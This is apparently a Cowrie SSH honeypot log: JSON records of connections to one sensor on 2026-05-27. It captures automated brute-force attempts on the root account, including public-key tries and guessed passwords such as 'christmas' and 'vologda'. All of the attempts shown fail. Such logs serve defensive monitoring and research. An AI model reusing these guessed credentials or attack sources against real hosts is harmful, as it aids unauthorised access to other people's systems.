{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:d4:36:8f:75:2b:ed:04:8a:0a:fe:76:a6:4d:2a:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClkA6UKc1STyWXxswHMSPI7hpBDSbB1GOLrC8FM7h9+uYrG3E2JjrKkr0mp7Ez0mFmYFD6kag0zVFC2RJkbm69x7miTJV3c+QVlerEPtj8S299IBfTzH/Hntd7Rvt/TXvetiZ3vJ5zNd4jxr91uWtkRQ544wSZAERnHJFRggpZ2f1c/+Km81rYqy6nY6dELj4EHSnwJzgLqKWb0SeCeklOXT4j2seE5Q5mJX8RmlT+zqwc58dXJj/sGzE6EZREKoqrC1beqj2AEUOg1tXLhXfiOWixPL7Avhs/KsA2F34onA9K5JAi9qDlSKYsGNTQ7H2YoPnfGxVl7XxF9wAA9Zze76CRqen3FswqOI6+cQXms4TobAAmjUV2ejn1UalGlTMttR9qsFh8H0OVaHiukaZb+QBQlBonXpSjRfE5yQ+T0fzIpRQYdY9PKRlm2uLJbj2z/v2vR/zaEqHmGh2KW2eYahlQCwAy6yAK3fMRQw5bYrjf96N8Ok8U/PZvO96Qccijm4KJXt1VwFogscp+30Parn6r3e6//n3e25n/K5hSgRpghzEaP9rNTZvZtgijtUPvdxnqQnOCPlwjypA2YDWujhJF/ytbdK2NZRq4cUNt7IuE945kRvZUKwzEpZ97xOFqeMUp+EafmGOGkAgQNVX01G2nuzWcomXqOO1kwJVlVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:d4:36:8f:75:2b:ed:04:8a:0a:fe:76:a6:4d:2a:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.707825Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:d4:36:8f:75:2b:ed:04:8a:0a:fe:76:a6:4d:2a:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClkA6UKc1STyWXxswHMSPI7hpBDSbB1GOLrC8FM7h9+uYrG3E2JjrKkr0mp7Ez0mFmYFD6kag0zVFC2RJkbm69x7miTJV3c+QVlerEPtj8S299IBfTzH/Hntd7Rvt/TXvetiZ3vJ5zNd4jxr91uWtkRQ544wSZAERnHJFRggpZ2f1c/+Km81rYqy6nY6dELj4EHSnwJzgLqKWb0SeCeklOXT4j2seE5Q5mJX8RmlT+zqwc58dXJj/sGzE6EZREKoqrC1beqj2AEUOg1tXLhXfiOWixPL7Avhs/KsA2F34onA9K5JAi9qDlSKYsGNTQ7H2YoPnfGxVl7XxF9wAA9Zze76CRqen3FswqOI6+cQXms4TobAAmjUV2ejn1UalGlTMttR9qsFh8H0OVaHiukaZb+QBQlBonXpSjRfE5yQ+T0fzIpRQYdY9PKRlm2uLJbj2z/v2vR/zaEqHmGh2KW2eYahlQCwAy6yAK3fMRQw5bYrjf96N8Ok8U/PZvO96Qccijm4KJXt1VwFogscp+30Parn6r3e6//n3e25n/K5hSgRpghzEaP9rNTZvZtgijtUPvdxnqQnOCPlwjypA2YDWujhJF/ytbdK2NZRq4cUNt7IuE945kRvZUKwzEpZ97xOFqeMUp+EafmGOGkAgQNVX01G2nuzWcomXqOO1kwJVlVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.711725Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:1a:5c:f3:41:f2:1c:76:58:7e:c6:ca:fd:8d:9b:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqTSrkYmFWJTTcpzOWpFcqTR3CL8OXcIzjAzYhh3EujqckQX+bT6DxuoDYQeHn2FKBOtazqGkxaLA1I4JAfxAvTQhge8NX/XZssAV2OYasU89Q+LBpQDBChHQHm9n4BUp2v/UI4Z1w9MEMylITFX8gcrj5xIhn6bDgna9/iK7mtdfIfg1MsvdZtpI2CcR4Z9vbFBTqjLP+C9mMlBh1Snzje7mHDScwJiKVF9KgJDuM5An3FLqqHAEGWVF//E+sEPhlqRH7ROfC8L4V8SBlunNOdXVsWvt5UrPKIQUCWwvu5/XuaBerRPDBHI0NNXstIS2CWzmeqCWq2h1k/t51Gtbl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:1a:5c:f3:41:f2:1c:76:58:7e:c6:ca:fd:8d:9b:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.787593Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:1a:5c:f3:41:f2:1c:76:58:7e:c6:ca:fd:8d:9b:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqTSrkYmFWJTTcpzOWpFcqTR3CL8OXcIzjAzYhh3EujqckQX+bT6DxuoDYQeHn2FKBOtazqGkxaLA1I4JAfxAvTQhge8NX/XZssAV2OYasU89Q+LBpQDBChHQHm9n4BUp2v/UI4Z1w9MEMylITFX8gcrj5xIhn6bDgna9/iK7mtdfIfg1MsvdZtpI2CcR4Z9vbFBTqjLP+C9mMlBh1Snzje7mHDScwJiKVF9KgJDuM5An3FLqqHAEGWVF//E+sEPhlqRH7ROfC8L4V8SBlunNOdXVsWvt5UrPKIQUCWwvu5/XuaBerRPDBHI0NNXstIS2CWzmeqCWq2h1k/t51Gtbl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.791517Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:c8:d2:80:03:f1:d3:1c:25:42:79:64:6b:01:af:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQEjVfTmifnYbHN1ralKcGaE0EOpAVGD2nuYrh5ctMv8G8PQo0dRoSrqbko/9hXTg4UIBhGYOege0KMHr9Gxays4GoaSdxGtIMRXlYVAF7r8Hab2zC8Z5TH4o9SDbWAMEAusAKent+FrVwNDwhtN1bKr2y52Tx/+vO2ETKHrHmxUAWcSXrnPdBk4Mir0nqUZ4I7bmAU162yVAJzcPi8fgrIBCYgDroeslvdCIopqwb2hXmeOKCjWqZQOXbXGZaxN+8/3FDuMkDCZpJnpLzNSr0zmVh9aw8pWhvOcaCHTtgr/o3LfZcrkYME5QhMUQaX57UuZ/JsmVTVe4EI5Lg1YNMOR94Abc3EbjXL17+amFnFxiQ0X4ZjAu43KhP9/DjfwL+aQwzCbtrfWtQKroLk0fjKClf5BZ564BuQ9R1remngDHZ5s2Yo8R72h89iCZizDOCS5SfmsOMI2hHXw/PngZ6UQdz5/ts0EXz2kM4qSjbaMJL4u3Z9iKoM59FwmiFca8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:c8:d2:80:03:f1:d3:1c:25:42:79:64:6b:01:af:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.867680Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:c8:d2:80:03:f1:d3:1c:25:42:79:64:6b:01:af:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQEjVfTmifnYbHN1ralKcGaE0EOpAVGD2nuYrh5ctMv8G8PQo0dRoSrqbko/9hXTg4UIBhGYOege0KMHr9Gxays4GoaSdxGtIMRXlYVAF7r8Hab2zC8Z5TH4o9SDbWAMEAusAKent+FrVwNDwhtN1bKr2y52Tx/+vO2ETKHrHmxUAWcSXrnPdBk4Mir0nqUZ4I7bmAU162yVAJzcPi8fgrIBCYgDroeslvdCIopqwb2hXmeOKCjWqZQOXbXGZaxN+8/3FDuMkDCZpJnpLzNSr0zmVh9aw8pWhvOcaCHTtgr/o3LfZcrkYME5QhMUQaX57UuZ/JsmVTVe4EI5Lg1YNMOR94Abc3EbjXL17+amFnFxiQ0X4ZjAu43KhP9/DjfwL+aQwzCbtrfWtQKroLk0fjKClf5BZ564BuQ9R1remngDHZ5s2Yo8R72h89iCZizDOCS5SfmsOMI2hHXw/PngZ6UQdz5/ts0EXz2kM4qSjbaMJL4u3Z9iKoM59FwmiFca8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.871660Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:ae:ed:65:1f:c7:91:2d:6c:af:09:74:02:92:59:83","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII9WRWLjECBoRf1pW0nldgH/7vm5MHJ7q4pXa4xcPEoz","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 28:ae:ed:65:1f:c7:91:2d:6c:af:09:74:02:92:59:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.953759Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:ae:ed:65:1f:c7:91:2d:6c:af:09:74:02:92:59:83","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII9WRWLjECBoRf1pW0nldgH/7vm5MHJ7q4pXa4xcPEoz","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.957568Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:33.031484Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51912,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dbcb3b7e322","protocol":"ssh","message":"New connection: 109.237.96.109:51912 (159.203.135.109:22) [session: 6dbcb3b7e322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:49:12.669258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:49:12.674472Z","src_ip":"109.237.96.109","session":"6dbcb3b7e322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:49:12.765017Z","src_ip":"109.237.96.109","session":"6dbcb3b7e322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"destroy","message":"login attempt [root/destroy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:49:13.036026Z","src_ip":"109.237.96.109","session":"6dbcb3b7e322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:49:14.206698Z","src_ip":"109.237.96.109","session":"6dbcb3b7e322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":37226,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8235123d6cb","protocol":"ssh","message":"New connection: 194.113.233.25:37226 (10.17.0.5:22) [session: b8235123d6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:03.749486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:03.755723Z","src_ip":"194.113.233.25","session":"b8235123d6cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:03.841140Z","src_ip":"194.113.233.25","session":"b8235123d6cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrei12","message":"login attempt [root/andrei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:04.109381Z","src_ip":"194.113.233.25","session":"b8235123d6cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:05.199564Z","src_ip":"194.113.233.25","session":"b8235123d6cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":53194,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c3cd8f280ed","protocol":"ssh","message":"New connection: 193.228.128.84:53194 (159.203.135.109:22) [session: 1c3cd8f280ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:26.873194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:26.878924Z","src_ip":"193.228.128.84","session":"1c3cd8f280ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:26.981554Z","src_ip":"193.228.128.84","session":"1c3cd8f280ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"christmas","message":"login attempt [root/christmas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:27.288331Z","src_ip":"193.228.128.84","session":"1c3cd8f280ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":52964,"dst_ip":"10.17.0.5","dst_port":22,"session":"79b1e292180c","protocol":"ssh","message":"New connection: 185.236.22.41:52964 (10.17.0.5:22) [session: 79b1e292180c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:27.855757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:27.860939Z","src_ip":"185.236.22.41","session":"79b1e292180c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:27.978828Z","src_ip":"185.236.22.41","session":"79b1e292180c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10051987","message":"login attempt [root/10051987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:28.321565Z","src_ip":"185.236.22.41","session":"79b1e292180c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:28.398059Z","src_ip":"193.228.128.84","session":"1c3cd8f280ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:50:29.474473Z","src_ip":"185.236.22.41","session":"79b1e292180c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47210,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec7121c7eed5","protocol":"ssh","message":"New connection: 103.173.227.57:47210 (10.17.0.5:22) [session: ec7121c7eed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:18.817087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:18.821492Z","src_ip":"103.173.227.57","session":"ec7121c7eed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:19.074461Z","src_ip":"103.173.227.57","session":"ec7121c7eed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vologda","message":"login attempt [root/vologda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:19.834728Z","src_ip":"103.173.227.57","session":"ec7121c7eed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:21.091300Z","src_ip":"103.173.227.57","session":"ec7121c7eed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49126,"dst_ip":"10.17.0.5","dst_port":22,"session":"045857d9efff","protocol":"ssh","message":"New connection: 103.27.238.116:49126 (10.17.0.5:22) [session: 045857d9efff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:47.720755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:51:47.725373Z","src_ip":"103.27.238.116","session":"045857d9efff","protocol":"ssh"}
